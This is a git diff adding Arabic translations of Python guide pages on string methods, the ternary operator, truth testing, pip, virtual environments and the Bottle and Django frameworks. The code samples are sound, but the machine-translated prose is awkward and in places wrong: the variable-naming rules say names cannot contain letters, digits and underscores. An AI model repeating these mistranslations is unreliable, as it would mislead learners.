+انتاج:
+
+ `program 
+` 
+
+5) الانضمام مع مجموعات.
+
+ `test =  {'2', '1', '3'} 
+ s = ', ' 
+ print(s.join(test)) 
+` 
+
+انتاج:
+
+ `2, 3, 1 
+` 
+
+#### معلومات اكثر:
+
+[وثائق بيثون على سلسلة الانضمام](https://docs.python.org/2/library/stdtypes.html#str.join)
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/string-methods/string-replace-method/index.md b/client/src/guide/arabic/python/string-methods/string-replace-method/index.md
new file mode 100644
index 0000000000..05db212650
--- /dev/null
+++ b/client/src/guide/arabic/python/string-methods/string-replace-method/index.md
@@ -0,0 +1,37 @@
+---
+title: String Replace Method
+localeTitle: طريقة استبدال السلاسل
+---
+## طريقة استبدال السلاسل
+
+يتم استخدام `str.replace(old, new, max)` لاستبدال السلسلة الفرعية `old` بالسلسلة `new` لمجموع مرات `max` . هذا الأسلوب بإرجاع نسخة جديدة من السلسلة مع الاستبدال. لا يتم تغيير `str` السلسلة الأصلية.
+
+#### أمثلة
+
+1.  استبدال كافة تكرارات `"is"` بـ `"WAS"`
+
+ `string = "This is nice. This is good." 
+ newString = string.replace("is","WAS") 
+ print(newString) 
+` 
+
+انتاج |
+
+ `ThWAS WAS nice. ThWAS WAS good. 
+` 
+
+2.  استبدال أول تكرارين لـ `"is"` بـ `"WAS"`
+
+ `string = "This is nice. This is good." 
+ newString = string.replace("is","WAS", 2) 
+ print(newString) 
+` 
+
+انتاج |
+
+ `ThWAS WAS nice. This is good. 
+` 
+
+#### معلومات اكثر:
+
+اقرأ المزيد حول استبدال السلسلة في [مستندات Python](https://docs.python.org/2/library/string.html#string.replace)
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/string-methods/string-split-method/index.md b/client/src/guide/arabic/python/string-methods/string-split-method/index.md
new file mode 100644
index 0000000000..e57c59f2e4
--- /dev/null
+++ b/client/src/guide/arabic/python/string-methods/string-split-method/index.md
@@ -0,0 +1,76 @@
+---
+title: String Split Method
+localeTitle: طريقة تقسيم السلسلة
+---
+يتم استخدام الدالة `split()` بشكل شائع لتقسيم السلسلة في Python.
+
+#### طريقة `split()`
+
+قالب: `string.split(separator, maxsplit)`
+
+`separator` : سلسلة محدد. قمت بتقسيم السلسلة بناءً على هذا الحرف. على سبيل المثال. يمكن ان تكون " "، ":"، "؛" إلخ
+
+`maxsplit` : عدد مرات تقسيم السلسلة استنادًا إلى `separator` . إذا لم يتم تحديدها أو -1 ، يتم تقسيم السلسلة استنادًا إلى كل تواجدات `separator`
+
+هذا الأسلوب بإرجاع قائمة substrings delimited بواسطة `separator`
+
+#### أمثلة
+
+1) سلسلة الانقسام في الفضاء: ""
+
+ `string = "freeCodeCamp is fun." 
+ print(string.split(" ")) 
+` 
+
+انتاج:
+
+ `['freeCodeCamp', 'is', 'fun.'] 
+` 
+
+2) سلسلة الانقسام في الفاصلة: "،"
+
+ `string = "freeCodeCamp,is fun, and informative" 
+ print(string.split(",")) 
+` 
+
+انتاج:
+
+ `['freeCodeCamp', 'is fun', ' and informative'] 
+` 
+
+3) لا يوجد `separator` محدد
+
+ `string = "freeCodeCamp is fun and informative" 
+ print(string.split()) 
+` 
+
+انتاج:
+
+ `['freeCodeCamp', 'is', 'fun', 'and', 'informative'] 
+` 
+
+ملاحظة: إذا لم يتم تحديد `separator` ، فسيتم تجريد السلسلة من **جميع** المسافات البيضاء
+
+ `string = "freeCodeCamp        is     fun and    informative" 
+ print(string.split()) 
+` 
+
+انتاج:
+
+ `['freeCodeCamp', 'is', 'fun', 'and', 'informative'] 
+` 
+
+3) تقسيم السلسلة باستخدام `maxsplit` . هنا نقسم السلسلة على "" مرتين:
+
+ `string = "freeCodeCamp is fun and informative" 
+ print(string.split(" ", 2)) 
+` 
+
+انتاج:
+
+ `['freeCodeCamp', 'is', 'fun and informative'] 
+` 
+
+#### معلومات اكثر
+
+تحقق من [مستندات Python على تقسيم السلسلة](https://docs.python.org/2/library/stdtypes.html#str.split)
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/string-methods/string-strip-method/index.md b/client/src/guide/arabic/python/string-methods/string-strip-method/index.md
new file mode 100644
index 0000000000..64902bf205
--- /dev/null
+++ b/client/src/guide/arabic/python/string-methods/string-strip-method/index.md
@@ -0,0 +1,36 @@
+---
+title: String Strip Method
+localeTitle: طريقة قطاع سترينج
+---
+## طريقة قطاع سترينج
+
+هناك ثلاثة خيارات من أجل تجريد الأحرف من سلسلة في Python و `lstrip()` و `rstrip()` و `strip()` .
+
+كل منهما سيعيد نسخة من السلسلة بأحرف تم إزالتها ، من البداية أو النهاية أو كل من البداية والنهاية. إذا لم يتم إعطاء أي وسيطات ، يكون الإعداد الافتراضي هو تجريد أحرف المسافات البيضاء.
+
+مثال:
+
+ `>>> string = '   Hello, World!    ' 
+ >>> strip_beginning = string.lstrip() 
+ >>> strip_beginning 
+ 'Hello, World!    ' 
+ >>> strip_end = string.rstrip() 
+ >>> strip_end 
+ '   Hello, World!' 
+ >>> strip_both = string.strip() 
+ >>> strip_both 
+ 'Hello, World!' 
+` 
+
+يمكن تقديم وسيطة اختيارية كسلسلة تحتوي على كل الحروف التي ترغب في تجريدها.
+
+ `>>> url = 'www.example.com/' 
+ >>> url.strip('w./') 
+ 'example.com' 
+` 
+
+ومع ذلك ، هل لاحظ أن الأول فقط `.` جردت من الخيط ويرجع ذلك إلى أن وظيفة `strip` فقط بتمييز أحرف الوسيطة الموجودة على اليسار أو أقصى اليمين. منذ w يأتي قبل الأول `.` يتم تجريدهم معا، بينما "com" موجود في النهاية الصحيحة قبل `.` بعد تجريد `/`
+
+#### معلومات اكثر:
+
+[وثائق](https://docs.python.org/3/library/stdtypes.html#string-methods) طرق سلسلة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/ternary-operator/index.md b/client/src/guide/arabic/python/ternary-operator/index.md
new file mode 100644
index 0000000000..6581ded3d8
--- /dev/null
+++ b/client/src/guide/arabic/python/ternary-operator/index.md
@@ -0,0 +1,38 @@
+---
+title: Python Ternary Operater
+localeTitle: Python Ternary Operater
+---
+# المشغل الثلاثي في ​​بيثون
+
+العمليات الثلاثية في بيثون ، وغالباً ما يشار إليها أيضًا بالتعبيرات الشرطية تسمح للمبرمج بإجراء تقييم وإرجاع قيمة بناءً على حقيقة الشرط المعطى.
+
+المشغل الثلاثي يختلف عن معيار `if` ، `else` ، `elif` هيكل بمعنى أنها ليست بنية التحكم في التدفق، ويتصرف أشبه شركات أخرى مثل `==` أو `!=` بلغة بايثون.
+
+### مثال
+
+في هذا المثال ، يتم إرجاع السلسلة `Even` إذا كان متغير `val` حتى ، وإلا يتم إرجاع السلسلة `Odd` . ثم يتم تعيين السلسلة التي تم إرجاعها إلى متغير `is_even` وطبعها إلى وحدة التحكم.
+
+#### إدخال
+
+ `for val in range(1, 11): 
+    is_even = "Even" if val % 2 == 0 else "Odd" 
+    print(val, is_even, sep=' = ') 
+` 
+
+#### انتاج |
+
+ `1 = Odd 
+ 2 = Even 
+ 3 = Odd 
+ 4 = Even 
+ 5 = Odd 
+ 6 = Even 
+ 7 = Odd 
+ 8 = Even 
+ 9 = Odd 
+ 10 = Even 
+` 
+
+### مصادر
+
+https://docs.python.org/2.5/whatsnew/pep-308.html
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/truth-value-testing/index.md b/client/src/guide/arabic/python/truth-value-testing/index.md
new file mode 100644
index 0000000000..66767d3ea0
--- /dev/null
+++ b/client/src/guide/arabic/python/truth-value-testing/index.md
@@ -0,0 +1,20 @@
+---
+title: Python Truth Value Testing
+localeTitle: Python Truth Value Testing
+---
+[Python Docs - Truth Value Testing](https://docs.python.org/3/library/stdtypes.html#truth-value-testing)
+
+يمكن اختبار أي كائن لقيمة الحقيقة ، للاستخدام في حالة `if` أو `while` أو كمعالج عملية Boolean مثل `and` ، `or` ، أو ، أو `not` .
+
+تعتبر القيم التالية خاطئة:
+
+*   `None`
+*   `False`
+*   صفر من أي نوع عددي ، على سبيل المثال ، `0` ، `0.0` ، `0j` ، `Decimal(0)` ، `Fraction(0, 1)` .
+*   أي تسلسل فارغ ، على سبيل المثال ، `''` ، `()` ، `[]` ، `set()` ، `range(0)` .
+*   أي تعيين فارغ ، على سبيل المثال ، `{}` .
+*   مثيلات الفئات المعرفة من قبل المستخدم ، إذا كان الفصل يعرّف طريقة `__bool__()` أو `__len__()` ، عندما تقوم تلك الطريقة بإرجاع `False` أو `0` .
+
+جميع القيم الأخرى تعتبر حقيقية - لذا فإن الكائنات من العديد من الأنواع تكون دائمًا صحيحة.
+
+دائمًا ما تقوم العمليات والوظائف المضمنة التي لها نتيجة منطقية بإرجاع `0` أو `False` false و `1` أو `True` للصحيح ، ما لم ينص على خلاف ذلك. (استثناء هام: العمليات المنطقية `or` و `and` دائما يعود واحد من المعاملات الخاصة بهم.)
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/using-pip/index.md b/client/src/guide/arabic/python/using-pip/index.md
new file mode 100644
index 0000000000..d09f7ec4e5
--- /dev/null
+++ b/client/src/guide/arabic/python/using-pip/index.md
@@ -0,0 +1,67 @@
+---
+title: Python Using Pip
+localeTitle: بايثون باستخدام النقطة
+---
+لقد رأينا كيفية استخدام `import` البيانات إلى `import` الوحدات المختلفة واستخدامها في برامجنا. بيثون نفسها تأتي مع العديد من الوحدات المدمجة ، لكن مجتمع بايثون لديه الكثير ليقدمه.
+
+> انها الوحدات التي تجعل الثعبان قوية جدا!
+
+تضيف وحدات الطرف الثالث المزيد من الوظائف إلى Python. الآن سوف نتعلم كيفية تثبيت هذه الوحدات حتى نتمكن من استخدام تلك الموجودة في برامجنا.
+
+أبسط طريقة هي استخدام `pip`
+
+ `pip install <module_name> 
+` 
+
+إذا كنت قد استخدمت `npm` ، فيمكنك التفكير في الأمر على أنها _npm_ لبيثون.
+
+ملاحظة جانبية: الفرق هو أنه مع `npm install` ، `npm install` حزم التثبيت الافتراضية محليًا إلى مشروع ، في حين يتم `pip install` `npm install` افتراضيًا على مستوى العالم. لتثبيت الوحدات النمطية محليًا ، تحتاج إلى إنشاء وتفعيل ما يسمى [بيئة افتراضية](http://docs.python-guide.org/en/latest/dev/virtualenvs/) ، بحيث يتم `pip install` إلى المجلد حيث توجد هذه البيئة الظاهرية ، بدلاً من العمومية (والتي قد تتطلب امتيازات المسؤول).
+
+في آخر مرة ، في ويكي `import-statements` استخدمنا نموذج `requests` كمثال. كما هو وحدة طرف ثالث لدينا لتثبيته بشكل منفصل بعد تثبيت python.
+
+سيكون `pip install requests` بسيطًا مثل `pip install requests` . يمكنك حتى تمرير الحجج المختلفة معه. تلك التي `--upgrade` كثير من الأحيان هي - `--upgrade` . يمكنك ترقية وحدة python من خلال:
+
+ `pip install <module_name> --upgrade 
+` 
+
+على سبيل المثال ، سيكون ترقية وحدة الطلبات إلى أحدث إصدار بسيطًا مثل `pip install requests --upgrade` .
+
+قبل استخدام `pip` ، ستحتاج إلى تثبيته (الأمر بسيط للغاية). يمكنك تثبيته من [هنا](https://bootstrap.pypa.io/get-pip.py)
+
+فقط إضغط على الرابط. واحفظ الملف `get-pip.py` _فضلك لا تنسى ملحق `.py` ._ و أديرها
+
+بديل لاستخدام pip سيكون محاولة [`easy_install`](https://bootstrap.pypa.io/ez_setup.py) .
+
+استخدام `easy_install` هو أيضا بسيط. الصيغة هي:
+
+ `easy_install <module_name> 
+` 
+
+ومع ذلك ، `pip` أكثر شعبية من استخدام `easy_install` .
+
+**ملاحظة:** في بعض الأنظمة التي يتم فيها تثبيت Python 2 & Python 3 ، تقوم `pip` و `pip3` بأشياء مختلفة. `pip` بتثبيت الإصدار Python 2 من الحزمة ، وسوف تقوم `pip3` بتثبيت الإصدار Python 3 من الحزمة. لمزيد من المعلومات حول الفرق بين Python 2 & 3 ، راجع [هذا](https://guide.freecodecamp.org/python/python-2-vs-python-3) الدليل. يمكنك التحقق من إصدار `pip` عن طريق عمل `pip --version` و / أو `pip3 --version` :
+
+ `pip3 --version 
+ pip 18.0 from /usr/local/lib/python3.5/dist-packages/pip (python 3.5) 
+` 
+
+يمكننا أيضًا إنشاء ملف txt يحتوي على قائمة الوحدات التي يجب تثبيتها باستخدام النقطة. على سبيل المثال ، يمكننا إنشاء ملف `requirements.txt` ومحتواه:
+
+ `Kivy-Garden==0.1.4 
+ macholib==1.5.1 
+ idna==2.6 
+ geoip2nation==0.1.2 
+ docutils>=0.14 
+ Cython 
+` 
+
+في هذا الملف ، يمكننا أيضًا تعيين إصدار للتثبيت. بعد ذلك ، من خلال استدعاء نقطة مع:
+
+ ` pip install -r <FILE CONTAINING MODULES> 
+ 
+          OR IN OUR CASE 
+ 
+ pip install -r requirements.txt 
+` 
+
+يجب تثبيت جميع الوحدات المدرجة في الملف.
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/using-python-for-web-development/index.md b/client/src/guide/arabic/python/using-python-for-web-development/index.md
new file mode 100644
index 0000000000..dcc9d923f1
--- /dev/null
+++ b/client/src/guide/arabic/python/using-python-for-web-development/index.md
@@ -0,0 +1,15 @@
+---
+title: Using Python for Web Development
+localeTitle: استخدام Python لتطوير الويب
+---
+تشتهر بيثون ببساطتها الجميلة وسهولة قراءتها. يمكن استخدام لغة البرمجة النصية هذه لبعض النماذج السريعة والقذرة لفكرتك عن تطبيق الويب. ويمكن استخدامه أيضًا لإنشاء تطبيقات ويب كبيرة قابلة للتطوير وقابلة للصيانة.
+
+#### أشهر أطر عمل بايثون على الإنترنت:
+
+*   جانغو
+*   قارورة
+*   زجاجة
+*   هرم
+*   Web2py
+
+لذلك دعنا نبدأ مع بعض أطر الويب ومعرفة كيف تساعد في بناء تطبيق الويب في اليدين. ولكن قبل ذلك ، كنا بحاجة إلى إعداد بيئة التطوير من خلال إكمال [تركيب أطر الويب في بايثون](https://guide.freecodecamp.org/python/setting-up-python-web-framework-django-and-flask) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/variable-names-and-binding/index.md b/client/src/guide/arabic/python/variable-names-and-binding/index.md
new file mode 100644
index 0000000000..82f6feb658
--- /dev/null
+++ b/client/src/guide/arabic/python/variable-names-and-binding/index.md
@@ -0,0 +1,31 @@
+---
+title: Python Variables Names and Binding
+localeTitle: بايثون المتغيرات الأسماء وتجليد
+---
+وجود _الأشياء_ غير مفيد ما لم يكن هناك طريقة لاستخدامها. لاستخدام _كائن_ ، يجب أن يكون هناك طريقة للإشارة إليها. في بايثون يتم ذلك عن طريق **ربط** الأشياء **بالأسماء** . نظرة عامة مفصلة يمكن العثور عليها [هنا](https://docs.python.org/3/reference/executionmodel.html)
+
+طريقة واحدة يتم ذلك باستخدام عبارة [_الواجب_](https://docs.python.org/3/reference/simple_stmts.html#assignment-statements) . وهذا ما يسمى عادة _تخصيص متغير_ في سياق بايثون. إذا كنت تتحدث عن البرمجة في سياق لغات أخرى، **ربط** _كائن_ إلى **اسم** قد تكون أكثر دقة.
+
+ `>>> some_number = 1 
+ >>> print(some_number) 
+ 1 
+` 
+
+في المثال أعلاه ، يكون هدف بيان المهمة هو الاسم (المعرّف) ، `some_number` . _الكائن_ الذي يتم تعيينه هو الرقم 1. يقوم البيان **بربط** _الكائن_ **بالاسم** . البيان الثاني ، نستخدم هذا الربط `print` _الكائن_ الذي يشير إليه `some_number` .
+
+لا يسبق المعرف _النوع_ . ذلك لأن بايثون هي لغة مكتوبة ديناميكيا. يرتبط المعرّف _بكائن_ يحتوي على _نوع_ ، ومع ذلك ، يمكن إعادة تعريف المعرف نفسه إلى _كائن_ آخر من _نوع_ مختلف:
+
+ `>>> some_variable = 1 
+ >>> print(some_variable) 
+ 1 
+ >>> some_variable = "Hello campers!" 
+ >>> print(some_variable) 
+ Hello campers! 
+` 
+
+عند تسمية المتغيرات ، يجب أن تتبع هذه القواعد:
+
+*   يجب أن يبدأ اسم المتغير بحرف أو حرف الشرطة السفلية
+*   لا يمكن أن يبدأ اسم المتغير برقم أو أحرف خاصة (! @ #٪ ^ & \* ، إلخ.)
+*   لا يمكن أن يحتوي اسم المتغير على أحرف أبجدية رقمية والشرطات السفلية (Az و 0-9 و \_)
+*   أسماء المتغيرات حساسة لحالة الأحرف (عدد و NUM و Num ثلاثة متغيرات مختلفة)
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/virtual-environments/index.md b/client/src/guide/arabic/python/virtual-environments/index.md
new file mode 100644
index 0000000000..c7fca30c52
--- /dev/null
+++ b/client/src/guide/arabic/python/virtual-environments/index.md
@@ -0,0 +1,148 @@
+---
+title: Virtual Environments
+localeTitle: البيئات الافتراضية
+---
+## بيئة افتراضية
+
+يمكن وصف البيئات الافتراضية كأدلة تثبيت معزولة. تسمح لك هذه العزلة بترجمة تثبيت تبعيات مشروعك ، دون إجبارك على تثبيتها على مستوى النظام بأكمله.
+
+تخيل أن لديك تطبيقين App1 و App2. كلاهما يتطلب حزمة باك ، ولكن مع إصدارات مختلفة. إذا قمت بتثبيت Pak الإصدار 2.3 لـ App1 ، لن تتمكن من تشغيل App2 ، لأنه يتطلب الإصدار 3.1. هنا عندما تكون البيئات الافتراضية في متناول اليد.
+
+فوائد:
+
+*   يمكن أن يكون لديك بيئات متعددة ، مع مجموعات متعددة من الحزم ، دون تعارض فيما بينها. بهذه الطريقة ، يمكن تلبية متطلبات المشاريع المختلفة في نفس الوقت.
+*   يمكنك بسهولة إطلاق مشروعك بوحدات تابعة خاصة به.
+
+فيما يلي طريقتان يمكنك إنشاء بيئات بيثون الافتراضية.
+
+## Virtualenv
+
+[`virtualenv`](https://virtualenv.pypa.io/en/stable/) هي أداة تستخدم لإنشاء بيئات بيثون المعزولة. يقوم بإنشاء مجلد يحتوي على كافة الملفات التنفيذية الضرورية لاستخدام الحزم التي يحتاجها مشروع Python.
+
+يمكنك تثبيته مع `pip` :
+
+ `pip install virtualenv 
+` 
+
+تحقق من التثبيت باستخدام الأمر التالي:
+
+ `virtualenv --version 
+` 
+
+### إنشاء environemnt
+
+لإنشاء استخدام بيئة افتراضية:
+
+ `virtualenv --no-site-packages my-env 
+` 
+
+يؤدي هذا إلى إنشاء مجلد في الدليل الحالي باسم البيئة ( `my-env/` ). يحتوي هذا المجلد على الدلائل لتثبيت الوحدات النمطية والملفات التنفيذية Python.
+
+يمكنك أيضًا تحديد إصدار Python الذي تريد العمل به. ما عليك `--python=/path/to/python/version` استخدام الوسيطة `--python=/path/to/python/version` . على سبيل المثال ، `python2.7` :
+
+ `virtualenv --python=/usr/bin/python2.7 my-env 
+` 
+
+### قائمة البيئات
+
+يمكنك إدراج البيئات المتاحة مع:
+
+ `lsvirtualenv 
+` 
+
+### تفعيل بيئة
+
+قبل أن تتمكن من البدء في استخدام البيئة ، يلزمك تنشيطها:
+
+ `source my-env/bin/activate 
+` 
+
+هذا يضمن أن يتم استخدام حزم فقط تحت `my-env/` .
+
+ستلاحظ ظهور اسم البيئة على يسار المطالبة. بهذه الطريقة يمكنك رؤية ما هي البيئة النشطة.
+
+### تثبيت الحزم
+
+يمكنك تثبيت الحزم واحدة تلو الأخرى ، أو عن طريق تعيين ملف `requirements.txt` لمشروعك.
+
+ `pip install some-package 
+ pip install -r requirements.txt 
+` 
+
+إذا كنت تريد إنشاء ملف `requirements.txt` من الحزم المثبتة بالفعل ، فقم بتشغيل الأمر التالي:
+
+ `pip freeze > requirements.txt 
+` 
+
+سيحتوي الملف على قائمة بجميع الحزم المثبتة في البيئة الحالية ، والإصدارات الخاصة بها. سيساعدك هذا على إطلاق مشروعك باستخدام الوحدات التابعة الخاصة به.
+
+### إلغاء تنشيط بيئة
+
+إذا انتهيت من العمل مع البيئة الافتراضية ، يمكنك إلغاء تنشيطها باستخدام:
+
+ `deactivate 
+` 
+
+هذا يعيدك إلى مترجم Python الافتراضي الخاص بالنظام مع كافة المكتبات المثبتة به.
+
+### حذف بيئة
+
+ببساطة حذف مجلد البيئة.
+
+## كوندا
+
+[`Conda`](https://conda.io/docs/index.html) هو حزمة ، والتبعية وإدارة البيئة للعديد من اللغات ، بما في ذلك بايثون.
+
+لتثبيت Conda ، اتبع هذه [التعليمات](https://conda.io/docs/user-guide/install/index.html) .
+
+### خلق بيئة
+
+لإنشاء استخدام بيئة افتراضية:
+
+ `conda create --name my-env 
+` 
+
+سوف Conda إنشاء مجلد المقابلة داخل دليل التثبيت كوندا.
+
+يمكنك أيضًا تحديد إصدار Python الذي تريد العمل معه:
+
+ `conda create --name my-env python=3.6 
+` 
+
+### قائمة البيئات
+
+يمكنك سرد جميع البيئات المتاحة مع:
+
+ `conda info --envs 
+` 
+
+### تفعيل بيئة
+
+قبل أن تتمكن من البدء في استخدام البيئة ، يلزمك تنشيطها:
+
+ `source activate my-env 
+` 
+
+### تثبيت الحزم
+
+نفس الشيء مع `virtualenv` .
+
+### إلغاء تنشيط بيئة
+
+إذا انتهيت من العمل مع البيئة الافتراضية ، يمكنك إلغاء تنشيطها باستخدام:
+
+ `source deactivate 
+` 
+
+### قم بإزالة بيئة
+
+إذا كنت تريد إزالة بيئة من استخدام Conda:
+
+ `conda remove --name my-env 
+` 
+
+#### معلومات اكثر:
+
+*   `virtualenv` [الموقع الرسمي](https://virtualenv.pypa.io/en/stable/)
+*   [الموقع الرسمي](https://conda.io/docs/index.html) `Conda`
+*   `The Hitchhicker's Guide to Python` [Hitchhicker](http://docs.python-guide.org/en/latest/dev/virtualenvs/) `The Hitchhicker's Guide to Python` - [Pypenv والبيئات الافتراضية](http://docs.python-guide.org/en/latest/dev/virtualenvs/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/web-frameworks-and-what-they-do-for-you/bottle/index.md b/client/src/guide/arabic/python/web-frameworks-and-what-they-do-for-you/bottle/index.md
new file mode 100644
index 0000000000..c4ea44f1f0
--- /dev/null
+++ b/client/src/guide/arabic/python/web-frameworks-and-what-they-do-for-you/bottle/index.md
@@ -0,0 +1,77 @@
+---
+title: Bottle
+localeTitle: زجاجة
+---
+يسمح إطار الزجاجة لنا بسرعة وسهولة الحصول على وتشغيل تطبيق ويب أساسي.
+
+التفاصيل التالية هي كيفية كتابة وتشغيل تطبيق ويب ترحيبي بسيط حيث يمكننا إدخال اسمنا في نموذج ، ثم الضغط على "إرسال" واستعادة التحية.
+
+1.  استخدم `pip` لتثبيت حزمة الزجاجة.
+    
+     `pip install bottle 
+    ` 
+    
+2.  قم بإنشاء ملف `html` ليتم عرضه عند تحميل الموقع. على سبيل المثال `index.html` .
+    
+    لنقم بإضافة عنوان ونموذج أساسي لهذه الصفحة.
+    
+     `
+    <h3>Say Hello</h3> 
+     
+     <form action="/hello" method="get"> 
+     Name: 
+        <input type="text" name="name"><br><br> 
+        <input type="submit"> 
+     </form> 
+    ` 
+    
+3.  قم بإنشاء ملف python جديد ، على سبيل المثال `main.py`
+    
+4.  في السطر الأول من الملف ، نحتاج إلى استيراد ، طلب ، وتشغيل الوظائف من وحدة الزجاجة.
+    
+     `from bottle import get, request, run 
+    ` 
+    
+5.  الآن نحدد وظيفتنا لخدمة ملف html الخاص بنا عندما يتم الوصول إلى صفحة الجذر.
+    
+    هنا نستخدم مصمم `@get` ، الذي يحدد هذه الوظيفة التي يجب أن تستجيب لطلبات `HTTP GET` وتمريرها في `'/'` باعتبارها المسار الذي سيتم استدعاء الدالة من خلاله.
+    
+    بعد ذلك ، نقوم بتعريف الدالة `index()` باستخدام الكلمة المفتاحية `def` .
+    
+    لقراءة ملف html الذي أنشأناه في الخطوة 2 وإرجاعه ، نستخدم ما يسمى مدير السياق. هذا يعالج فتح وإغلاق الملف لنا ، مما يسمح لنا بقراءة الملفات والمحتويات وإعادتها مع بيان `return` .
+    
+     `@get('/') 
+     def index(): 
+        with open('./index.html') as f: 
+            return f.read() 
+    ` 
+    
+6.  للحصول على موقع لتشغيل والاستماع لطلبات نحن بحاجة إلى إضافة استدعاء الأطر زجاجة `run` وظيفة على النحو التالي.
+    
+    هنا نمرر في المضيف الذي سيتم تشغيل تطبيق الويب عليه ، في هذه الحالة `localhost` ، والمنفذ الذي يجب الاستماع إليه لطلبات HTTP.
+    
+7.  قم بتشغيل التطبيق وقم بتحميله في المستعرض http: // localhost: 8080 / ، يجب أن تشاهد ملف html أنشأنا صانعة شعر في المتصفح.
+    
+    إذا أدخلنا اسمنا ثم اضغط على تقديم الآن ، `HTTP 404` خطأ `HTTP 404` رغم أننا لم نقم بعد بتعريف الوظيفة للرد على هذا الطلب.
+    
+     `run(host='localhost', port=8080) 
+    ` 
+    
+8.  `main.py` ملف `main.py` لدينا ، نحتاج الآن إلى تحديد الوظيفة للرد عندما نضع الشكل.
+    
+    مرة أخرى نستخدم الديكور `@get` هنا ، ولكن هذه المرة نمرر في `'/.hello'` . قد تلاحظ أن هذا هو نفس المسار الذي قمنا بتعريفه في سمة الإجراء الخاصة بنا في `index.html` .
+    
+    بعد ذلك ، نسترجع قيمة `name` من عنوان url ، عند إرسال النموذج ، يتم تشفير عنوان البيانات مثل http: // localhost: 8080 / hello؟ name = Jon + Snow
+    
+    وأخيرًا نعيد الترحيب ، بإلحاق الاسم الذي تم إدخاله في النموذج الخاص بنا.
+    
+     `@get('/hello') 
+     def hello(): 
+        name = request.query['name'] 
+        return f'Hello {name}' 
+    ` 
+    
+
+### مصادر
+
+https://bottlepy.org/docs/dev/
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/web-frameworks-and-what-they-do-for-you/django/index.md b/client/src/guide/arabic/python/web-frameworks-and-what-they-do-for-you/django/index.md
new file mode 100644
index 0000000000..7ae8566ffd
--- /dev/null
+++ b/client/src/guide/arabic/python/web-frameworks-and-what-they-do-for-you/django/index.md
@@ -0,0 +1,21 @@
+---
+title: Django
+localeTitle: جانغو
+---
+## نظرة عامة:
+
+دجانجو هو إطار بيثون ويب رفيع المستوى يشجع على التطوير السريع والتصميم العملي البراغماتي. تم بناؤه من قبل مطورين ذوي خبرة ، فهو يعتني بالكثير من متاعب تطوير الويب ، بحيث يمكنك التركيز على كتابة التطبيق دون الحاجة إلى إعادة اختراع العجلة. انها حرة ومفتوحة المصدر.
+
+بسرعة يبعث على السخرية. تم تصميم Django لمساعدة المطورين في أخذ التطبيقات من المفهوم إلى الاكتمال في أسرع وقت ممكن.
+
+محملة بالكامل. يتضمن Django العشرات من الإضافات التي يمكنك استخدامها للتعامل مع مهام تطوير الويب الشائعة. يعتني Django بمصادقة المستخدم ، وإدارة المحتوى ، وخرائط الموقع ، وخلاصات RSS ، والعديد من المهام الأخرى - مباشرة من الصندوق.
+
+آمنة بشكل مطمئن. يأخذ جانغو الأمن على محمل الجد ويساعد المطورين على تجنب العديد من الأخطاء الأمنية الشائعة ، مثل حقن SQL ، البرمجة النصية عبر المواقع ، التزوير عبر الموقع والتزوير. يوفر نظام مصادقة المستخدم طريقة آمنة لإدارة حسابات المستخدمين وكلمات المرور.
+
+قابل للتوسع بشكل مفرط. تستخدم بعض المواقع الأكثر ازدحامًا على سطح الكوكب قدرة دجانغو على توسيع نطاقها بسرعة ومرونة للوفاء بأكبر مطالب الحركة.
+
+تنوعا بشكل لا يصدق. استخدمت الشركات ، والمنظمات والحكومات Django لبناء كل أنواع الأشياء - من أنظمة إدارة المحتوى إلى الشبكات الاجتماعية إلى منصات الحوسبة العلمية.
+
+### مصادر
+
+https://www.djangoproject.com/
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/web-frameworks-and-what-they-do-for-you/index.md b/client/src/guide/arabic/python/web-frameworks-and-what-they-do-for-you/index.md
new file mode 100644
index 0000000000..789abe858f
--- /dev/null
+++ b/client/src/guide/arabic/python/web-frameworks-and-what-they-do-for-you/index.md
@@ -0,0 +1,59 @@
+---
+title: Python Web Frameworks and What They Do 
+localeTitle: أطر بيثون الويب وماذا يفعلون
+---
+لقد استخدمنا كلمة " `framework` بشكل متحرّر في المقالات السابقة. قد تكون أو لا تكون على دراية بما هو موجود. ومع ذلك ، سنناقش ما تفعله أطر عمل بايثون لك ، خارج الصندوق.
+
+تعمل إطارات الويب ، بطريقة غير رسمية ، على القيام بما يجب عليك القيام به _بشكل متكرر_ إذا كنت ستقوم ببناء الكثير من مواقع الويب بوظائف مختلفة.
+
+لنأخذ مثالًا فائقًا للغاية ونحاول إجراء تشابه بسيط. قل ، تذهب لتناول العشاء ، وهو مطعم فاخر. يمكن أن يكون أي نوع من المطاعم - الإيطالية والمكسيكية والهندية والكورية والآسيوية.
+
+حاول أن تفكر في الأشياء الشائعة التي تحدث في مطعم عندما يدخل أحد العملاء. قد يأخذ خادم سيارتك ويصادق وقوف السيارات. قد يطلب منك في مكتب الاستقبال إذا كان لديك الحجز. وكم من أصدقائك معك. من المحتمل أن يتم عرضك على طاولتك ، أو يُطلب منك الانتظار - اعتمادًا على الحشود في الداخل.
+
+بمجرد جلوسك ، سوف يتم سؤالك عما إذا كنت تريد ماءًا عاديًا أو معبأ في زجاجات. ثم يسأل شخص ما إذا كنت تفضل المشروبات. يمكنك طلب بعض المبتدئين ، متبوعًا بالطبق الرئيسي ؛ وأخيرا ، بعض الحلوى. يجب عليك دفع الفاتورة.
+
+أفهم إذا كنت تريد أن تأخذ لحظة للقيام برحلة أسفل ممر الذاكرة ، والتمتع بسن لذيذ. بمجرد الانتهاء ، تحتاج إلى وضع نفسك في موقف الشخص الذي يدير العمل.
+
+إذا لاحظت ، فهناك بعض الأنشطة التي تقوم بها بشكل متكرر لكل عميل. واستنادا إلى نوع المطعم والوقت من اليوم ، هناك بعض الأشياء التي قد تكون مختلفة. على سبيل المثال ، القائمة وأسعار المواد الغذائية.
+
